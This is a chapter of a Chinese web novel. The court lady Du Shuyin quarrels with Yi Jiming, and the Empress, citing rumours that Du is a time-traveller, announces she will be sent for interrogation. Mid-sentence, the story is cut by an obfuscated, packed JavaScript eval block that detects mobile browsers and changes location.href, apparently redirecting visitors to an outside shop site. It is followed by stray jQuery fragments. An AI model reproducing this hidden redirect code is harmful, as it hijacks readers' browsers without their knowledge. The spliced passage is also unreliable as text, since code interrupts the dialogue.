杜书音在树林中愣了会神,必须率先找好借口,不然以后遇到这样的情况十分被动。她在林中来回踱步,如果自己现在出去,易记明正在等着自己可就麻烦了。
她在林中来回走,在身下的地上留下一连串交叉重叠的脚印。
闻着空中冰冷的空气和脚下泥土的味道,杜书音来回走动的身形一顿。
想到了。就说,自己入宫之前认识任泽林,有过一段时间接触,这样不就万事大吉了。
她一拍手掌,觉得妙极了。
找好借口,杜书音这才往树林出口走去。
走到出口的位置,果然易记明等在那里。他双手抱在胸前,少见的低着头在发呆,脚边的衣袍被风吹得不断翻打着他的小腿。
越过他的身体,看向他身后,发现任泽林也回到队伍中。他坐在士兵身边,正拿起身边的水袋准备喝水。
杜书音知道该来的总会来,躲不过去的。
她抬脚走到易记明的身边,易记明也如她所想一般,抬起眼眸看向她。她也停在易记明的面前,静静地注视着他,眼中十分清澈坦然。
她等着易记明先开口问,若是自己率先解释,恐怕会此地无银三百两,自己解释的行为比起方才的情况可是更加可疑。
一反常态,易记明并没有开口问她这个问题。
他睁着一双让人摸不清看不透的眼睛盯着杜书音,说着让人听不明白的话。他一改往日的熟稔,生疏道:“杜女官,丰永国的百姓都是有底线的。”他见杜书音一副皱着眉头不理解的模样,越发觉得自己不认识她了。他嘴角一勾,面露嘲讽,“做人,没有权势地位不要紧,若是水性杨花恐怕就要遭受万人唾骂了。只有能专情守一、有道德的人才会让人另眼相待。”
杜书音见他留下一句莫名的话便转身离开了。
她十分不解,什么意思?什么叫“丰永国的百姓都是有底线的”,谁没有底线啊!什么叫“没有权势地位不要紧,不要水性杨花让人唾骂”,我哪里水性杨花遭人唾骂了?还有“专情守一的人才会让人另眼相待”,说得好像自己真是个花心的人一样?
杜书音回头看着易记明离开的背影,越发不理解了。他这几天本来就莫名其妙,现在更是离奇得可怕。仔细想想,是不是在方山上的毒没有解干净,或是有什么后遗症呢?
不是说那毒是方山上特有的吗,这要是回到京城,到时候没被毒死,也会因为说错话被陛下下令斩首吧……
这么一想,原本看着易记明略带奇怪复杂的眼神渐渐转变为同情,堂堂卫阁首领,要是因为说错话得罪人,被陛下下令处斩,到时候可就成为丰永国的一个笑话了……
不行,我得提醒他。
她追上易记明,将他强硬地拉转过身体面向自己,踮着脚尖伸手递到易记明的额头上。
易记明方才正好走到队伍中间的空地上,杜书音这个举动引得周围休息的士兵纷纷抬头朝他们看过来。
只听杜书音喃喃自语道:“没问题啊……”
易记明抬手在她的手背上轻轻一拍,杜书音吃痛立即收回自己的手。易记明脸色隐隐发黑,胸腔起伏跨度也加快不少,他像是心中忍着无数怒火无处发泄一样。易记明无声瞥了杜书音一眼,转身立即走开了。
杜书音站在原地摸了摸被打疼的手背,不对啊,他要是毒还没解,应该是全身发冷才对,方才他的体温正常啊……
杜书音原地踌躇了几秒,终于注意到周围纷纷朝她看的目光,她在无措中回到自己休息的地方。结果刚坐下来没几秒,前面就听到易记明要他们收拾东西、准备赶路的消息。
他们抵达京城已经是傍晚的时候,随行的士兵回到城外的军营中,其他两人则进宫到紫宸殿向陛下汇报情况。
杜书音是皇后派去的,她只需要向皇后禀明。
蓬莱殿中,杜书音独自一人站在殿中央,屋里除了皇后,一个人都没有。
皇后得知安县发生的一切后,杜书音还向她问了先帝的事情。
对于皇后而言,她就是一个京城的孤女,几个月前进入内廷,先帝掌权的时候是十几年前,她那时候还是个小孩子,问了也不会发生让人怀疑她身份的事情。
皇后原本轻松的眉眼在听到先帝两个字的时候瞬间有了起伏,她不由自主地皱着眉头,叹息道:“她是个谋逆之人。陛下杀她也是为了维护正统。”
杜书音还在等着她继续往下说,谁知道皇后说了这两句话之后就坐着不动了。她那双充满忧愁的眼睛定定地看着地上,神思早已飞到了外面。
当日陛下初定战乱,登基为帝的时候,皇后有过去看他。
她身后跟着不少宫人,越是走到紫宸殿门口的时候越是混乱。一批一批的内侍从紫宸殿出来,她虽不了解情况,但也没有冒然开口。在她即将进殿的时候,内侍们从紫宸殿内抬出来一个黑木鎏金的棺材。
棺材忽然擦着门边抬出来,木身与皇后的衣裙浅浅擦过,留下一股奇怪的味道。
皇后进殿,发现殿中空无一人。她屏退身后的宫人,在殿中来回寻找陛下的身影,终于她在最里间找到了陛下。
“陛下?你怎么了?”皇后问道。
启元帝床榻前挂着一张女子的画像。他此时就站在这幅画面前,抬头盯着画上的人一动不动。
“陛下?”皇后走到启元帝身边,又开口询问道。
启元帝还是没动,他看着画上的女子,声音沉闷道:“外面的人都以为吾大逆不道吧?”
“陛下为何这么说?您现在是皇帝、是天子,天底下无人敢这么说您。”皇后温声道。
启元帝忽然叹了口气,语气蔫蔫道:“是她,又不是她。”
皇后疑惑,问道:“陛下为何这么说?”她忽然想起方才搬出去的棺材,问道:“方才抬出去的是昭阳?”
启元帝并未答话,他看了画作良久,最终将画作取下来、收好。他突然一转话题,“民间传闻,昭阳篡改父皇留给吾的遗诏,这件事情或许是假的,吾并没有在紫宸殿找到遗诏的线索。”
皇后点点头,淡淡道:“不管是真是假,这皇位陛下还是拿到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936518|187145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
微风吹得皇后头上的珠钗一晃,皇后顿时醒神。她掀开眼帘,打量站在殿中模样恭顺的杜书音。
杜书音方才见皇后发呆的模样,就知道她不会说太多。果然,她站在原地等了一会,皇后就一直坐着没动。
寂静的宫殿中没有一丝声音,突然,皇后厉声质问道:“宫中传闻是否属实?”她的声音很响亮,在空旷的殿中回荡,隐隐有回音。
杜书音被皇后突然冒出的巨大质问声吓得一惊,她抓紧放在身前的手指,拧眉问道:“奴婢不知道皇后所指为何?”
皇后方才叹息的模样转瞬即逝,此时脸上带着严肃的神色。她横眉倒立,眼睛炯炯地盯着杜书音,幽幽道:“你不知道?自从你离宫之后,宫里突然不知道从哪里冒出了一个传言,说你就是穿越者。”
杜书音迅速跪地,俯首道:“皇后明鉴,奴婢绝对不是。”她放在腹部的双手快要将手指抓破,面上愣是一点外露的情绪都没有。
“是与不是,都不是由你来说,也不是由吾说了算。这种事情向来是交由卫阁处理,你这次既然跟着一起去了安县,想来与明朗应当有些熟悉了。他现在在紫宸殿汇报情况,等会就会收到消息,过来将你带去卫阁仗院。你正好趁着这段时间好好换身衣服休息一下,免得到了卫阁受不住。”皇后坐在上首,语气平淡道。
杜书音自然听到了她会被带去卫阁的事。她前几次虽然去过卫阁,但都是以辅佐的名义过去,自然与这次不同。现在要过去就是和上次梁娟的情况一样,若是不招,恐怕会落得个和梁娟一样的下场,或是招了,更是无命可活。
想到这里,她膝行几步,眼中带着害怕而激起的泪珠,急道:“娘娘,您难道不相信我吗?”
皇后坐在位置上身形未动,冷眼注视着杜书音。她缓缓朝前面俯身,双眼专注地看着杜书音,一字一句道:“你若是能从卫阁出来,我就相信你不是穿越者。”
杜书音闻言,那双期异的双眸纷纷垂下。眼泪“哒哒”滴落在地面上,一直攥得很紧的手也松了下来。
皇后不帮自己,看来自己的死期快要到了。
想想也是,自己当初陷害贤妃,又放火烧了司药司,若不是皇后在陛下面前保下了她,她现在恐怕早就是一缕鬼魂了。
杜书音擦了擦眼角的泪花,俯身叩拜皇后,然后走出殿门。
“砰”一声极重的关门声在身后合上。
杜书音立即回头朝身后望去,只有一扇被殿外的宫人关得严严实实的红漆木门。
以往怎么没注意到蓬莱殿关门的声音那么大,她孤零零地站在这里,就像是被皇后舍弃了一样。
杜书音眨了眨眼睛,逼得即将泛出的泪花又收了回去。
七月的风温热中带着湿乎乎的黏腻,此时吹在身上就像是冬天一样刺骨寒冷。
杜书音身后的天上乌云遍布,层层带着水汽的云层往蓬莱殿滚来,天幕像是一瞬之间暗下来一样,显得周围的环境灰灰的,像是蒙上一层灰一样。
整个世界的色调彻底暗下来。